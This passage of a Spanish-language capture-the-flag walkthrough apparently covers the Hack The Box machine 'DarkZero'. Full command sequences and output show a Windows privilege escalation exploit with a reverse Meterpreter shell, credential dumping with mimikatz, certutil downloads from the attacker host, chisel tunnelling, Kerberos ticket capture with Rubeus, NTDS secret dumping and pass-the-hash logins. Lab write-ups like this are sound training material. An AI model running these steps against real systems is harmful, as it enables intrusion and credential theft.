3 exploit/windows/local/cve_2022_21882_win32k Yes The service is running, but could not be validated. May be vulnerable, but exploit not tested on Windows Server 2022
4 exploit/windows/local/cve_2022_21999_spoolfool_privesc Yes The target appears to be vulnerable.
5 exploit/windows/local/cve_2023_28252_clfs_driver Yes The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default
6 exploit/windows/local/cve_2024_30085_cloud_files Yes The target appears to be vulnerable.
7 exploit/windows/local/cve_2024_30088_authz_basep Yes The target appears to be vulnerable. Version detected: Windows Server 2022. Revision number detected: 2113
8 exploit/windows/local/cve_2024_35250_ks_driver Yes The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2022
9 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
...
Tenemos 9 Exploits que podemos probar, pero el que a mí me funcionó fue el cve_2024_30088_authz_basep.
Así que vamos a cargarlo y a configurarlo:
msf exploit(multi/handler) > use exploit/windows/local/cve_2024_30088_authz_basep
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/cve_2024_30088_authz_basep) > set SESSION 1
SESSION => 1
msf exploit(windows/local/cve_2024_30088_authz_basep) > set LHOST tun0
LHOST => Tu_IP
msf exploit(windows/local/cve_2024_30088_authz_basep) > set LPORT 4242
LPORT => 4242
msf exploit(windows/local/cve_2024_30088_authz_basep) > set AutoCheck false
AutoCheck => false
msf exploit(windows/local/cve_2024_30088_authz_basep) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
Es muy importante que cambies el payload, ya que si ocupas otro, es posible que tu sesión de Meterpreter muera y tendrás que obtener una nueva.
Ejecutemos el Exploit:
msf exploit(windows/local/cve_2024_30088_authz_basep) > exploit
[*] Started reverse TCP handler on Tu_IP:4242
[!] AutoCheck is disabled, proceeding with exploitation
[*] Reflectively injecting the DLL into 71776...
[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 788
[+] Successfully retrieved winlogon pid: 588
[*] Meterpreter session 6 opened (Tu_IP:4242 -> 10.10.11.89:59915) at 2025-10-12 16:19:20 -0600
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Excelente, ya somos el Administrador.
Encontraremos la flag del usuario en el escritorio del Administrador:
meterpreter > shell
Process 1084 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type user.txt
type user.txt
...
La tenemos.
Y aprovechando esta sesión, obtengamos el hash NTLM del Administrador con el módulo Kiwi.
Carga el módulo Kiwi:
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
Obtengamos las contraseñas:
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1 DPAPI
-------- ------ ---- ---- -----
Administrator darkzero-ext 696... 935... 07f...
...
Ahí tenemos los hashes NTLM.
Si queremos, podemos obtener una sesión con psexec desde nuestra máquina, pero sería necesario aplicar Reverse Port Forwarding.
Lo haremos a continuación, pero es totalmente opcional.
Opcional: Realizando Reverse Port Forwarding con Chisel para Conectarnos a Máquina AD2 con psexec (Pivoting)
Para hacer esto, utilizaremos chisel que puedes descargar en el siguiente link:
Debes descargar la versión para Windows (chisel…windows_amd64.zip ) y para Linux (chisel…linux_amd64.gz ). Recuerda descomprimirlas una vez que las tengas.
Una vez que tengas la de Windows, abre un servidor con python3:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Mandamos chisel al AD2 usando el comando certutil:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "certutil.exe -urlcache -split -f http://Tu_IP/chisel.exe C:\Temp\chisel.exe"
output
---------------------------------------------------
**** Online ****
000000 ...
a1ee00
CertUtil: -URLCache command completed successfully.
Comencemos a aplicar el Reverse Port Forwarding.
Primero, alcemos el servidor con Chisel para Linux en nuestra máquina:
./chisel server -p 4444 --reverse
2025/10/12 13:46:20 server: Reverse tunnelling enabled
2025/10/12 13:46:20 server: Fingerprint ...
2025/10/12 13:46:20 server: Listening on http://0.0.0.0:4444
Desde el AD2, usemos Chisel como cliente para conectarnos al servidor de Chisel de nuestra máquina, siendo aquí donde aplicamos el Reverse Port Forwarding.
Pero antes de eso, debemos identificar qué puertos serían útiles para que tengamos acceso desde nuestra máquina.
Si queremos usar la herramienta psexec, debemos tener acceso al puerto 445 y 135 (este último es “opcional”, pero es posible que la herramienta lo necesite, por lo que es mejor tenerlo presente).
Entonces, debemos indicarlo al momento de conectarnos al servidor de Chisel:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "C:\Temp\chisel.exe client Tu_IP:4444 R:1445:172.16.20.2:445 R:1337:172.16.20.2:135"
Bien, usamos nuestro puerto 1445 para el puerto 445 de la máquina AD2 y el puerto 1337 para el puerto 135.
Podemos comprobar que tenemos acceso al servicio SMB de la máquina AD2, si usamos netexec para que acceda a este servicio:
nxc smb 127.0.0.1 --port 1445
SMB 127.0.0.1 1445 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:darkzero.ext) (signing:True) (SMBv1:False)
Funciona.
Ya podemos usar psexec en conjunto con socat (este lo usamos para indicar el puerto que usamos para el servicio SMB) para ganar acceso a la máquina AD2:
socat TCP-LISTEN:445,reuseaddr,fork TCP:127.0.0.1:1445 & impacket-psexec Administrator@127.0.0.1 -hashes :6963aa...
[1] 378518
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 127.0.0.1.....
[*] Found writable share ADMIN$
[*] Uploading file IAPRzjbg.exe
[*] Opening SVCManager on 127.0.0.1.....
[*] Creating service hfYa on 127.0.0.1.....
[*] Starting service hfYa.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Post Explotación
Capturando Ticket Granting Ticket (TGT) con Rubeus.exe y Dumpeando Secrets con secretsdump de Impacket para Escalar Privilegios
Ya escalamos privilegios en la máquina AD2, pero aún no hemos escalado privilegios en la máquina AD1, que es la que nos interesa.
El problema es que no podemos usar el Hash NTLM del Administrador de la máquina AD2 para escalar privilegios, por lo que tenemos que buscar una forma diferente.
Recordemos que el servicio MSSQL está enlazado al AD2, que pensando un poco cómo funciona cuando hacemos la conexión, sería algo similar a lo siguiente:
- La máquina AD1 (DC01.darkzero.htb) hace una petición al AD2 (DC02.darkzero.ext), ya sea una simple consulta hasta una conexión directa para obtener una sesión.
- Para que la conexión suceda, el AD1 necesita autenticarse al AD2, así que, si utilizan el servicio Kerberos para autenticarse, se tramita un TGT.
- El KDC asigna y da el TGT al AD1, lo que permite la consulta o conexión al AD2.
- Es en este momento donde Rubeus.exe (en modo monitor) captura el TGT del AD1 desde el AD2, pues el AD2 lo solicita para el servicio solicitado y lo guarda localmente.
y es aquí donde podríamos encontrar un TGT del AD1.
Para que podamos capturar ese TGT, podemos utilizar la herramienta Rubeus.exe, que puedes descargar en el siguiente link:
Para que funcione Rubeus.exe, necesita usarse con un usuario con privilegios de Administrador, así que la usaremos en nuestra sesión del AD2.
Carga Rubeus.exe al AD2:
C:\Temp> certutil.exe -urlcache -split -f http://Tu_IP/Rubeus.exe Rubeus.exe
**** Online ****
000000 ...
06d200
CertUtil: -URLCache command completed successfully.
Activa Rubeus.exe en modo monitor para que capture un TGT:
C:\Temp> rubeus.exe monitor /interval:1 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs
Tan solo tenemos que hacer una consulta desde el servicio MSSQL del AD1 al AD2:
SQL (darkzero\john.w guest@master)> xp_dirtree \\DC02.darkzero.ext\testing
Observa que Rubeus.exe capturó varios TGT, pero uno de estos es del AD1:
[*] Monitoring every 1 seconds for new TGTs
[*] 10/11/2025 7:22:03 PM UTC - Found new TGT:
User : DC01$@DARKZERO.HTB
StartTime : 10/11/2025 12:22:02 PM
EndTime : 10/11/2025 10:22:01 PM
RenewTill : 10/18/2025 12:22:01 PM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFjDCCBYigAwIBBaEDA...
Usaremos este TGT codificado en base64.
Lo guardamos y luego decodificamos el ticket, guardando el resultado en otro archivo:
nano ticket.bs4.kirbi
cat ticket.bs4.kirbi | base64 -d > ticket.kirbi
Nuestro TGT ahora está en el archivo ticket.kirbi.
Usaremos impacket-ticketConverter para convertir el archivo ticket.kirbi en formato ccache dentro de un archivo:
impacket-ticketConverter ticket.kirbi dc01_admin.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
Cargamos el archivo ccache como variable de entorno y revisamos con el comando klist que ya esté cargado:
export KRB5CCNAME=dc01_admin.ccache
klist
Ticket cache: FILE:dc01_admin.ccache
Default principal: DC01$@DARKZERO.HTB
Valid starting Expires Service principal
11/10/25 13:22:02 11/10/25 23:22:01 krbtgt/DARKZERO.HTB@DARKZERO.HTB
renew until 18/10/25 13:22:01
Observa que el TGT está cargado para usarse en el AD1, siendo esta forma correcta.
Recuerda que para que funcione cualquier herramienta ante el AD, necesitamos estar dentro de la misma zona horaria.
Primero, agrega la IP de la máquina víctima al archivo /etc/resolv.conf
:
nano /etc/resolv.conf
---------------------
# Generated by NetworkManager
nameserver 10.10.11.89
En este punto también debemos tener agregado el dominio al archivo /etc/hosts
.
Si lo configuramos correctamente, debería poder resolvernos una consulta al dominio con nslookup:
nslookup DC01.darkzero.htb
Server: 10.10.11.89
Address: 10.10.11.89#53
Name: DC01.darkzero.htb
Address: 172.16.20.1
Name: DC01.darkzero.htb
Address: 10.10.11.89
Ahí está, funciona correctamente.
Ya solo falta entrar a la misma zona horaria, que puedes hacerlo con el comando ntpdate o rdate apuntando al dominio del AD1:
ntpdate -u DC01.darkzero.htb
2025-10-11 13:55:18.968419 (-0600) +25202.290225 +/- 0.038414 DC01.darkzero.htb 10.10.11.89 s1 no-leap
CLOCK: time stepped by 25202.290225
rdate -n DC01.darkzero.htb
Sat Oct 11 14:12:19 CST 2025
Revisa que estés en el mismo horario.
Ya con esto, podemos dumpear los Hashes NTLM con la herramienta impacket-secretsdump:
impacket-secretsdump -k -no-pass 'darkzero.htb/DC01$@DC01.darkzero.htb'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435
Muy bien, tenemos los Hashes y entre ellos el del administrador.
Aprovechemos que está activo el servicio WinRM para utilizar la herramienta evil-winRM y autenticarnos usando el Hash NTLM del administrador:
evil-winrm -i 10.10.11.89 -u administrator -H 591750...
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
darkzero\administrator
Muy bien, estamos dentro.
Solo falta encontrar la última flag:
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
- https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
- https://github.com/61106960/adPEAS
- https://github.com/tykawaii98/CVE-2024-30088?tab=readme-ov-file
- https://github.com/Zombie-Kaiser/CVE-2024-30088-Windows-poc?tab=readme-ov-file
- https://github.com/jpillora/chisel/releases/tag/v1.11.3
- https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
- https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069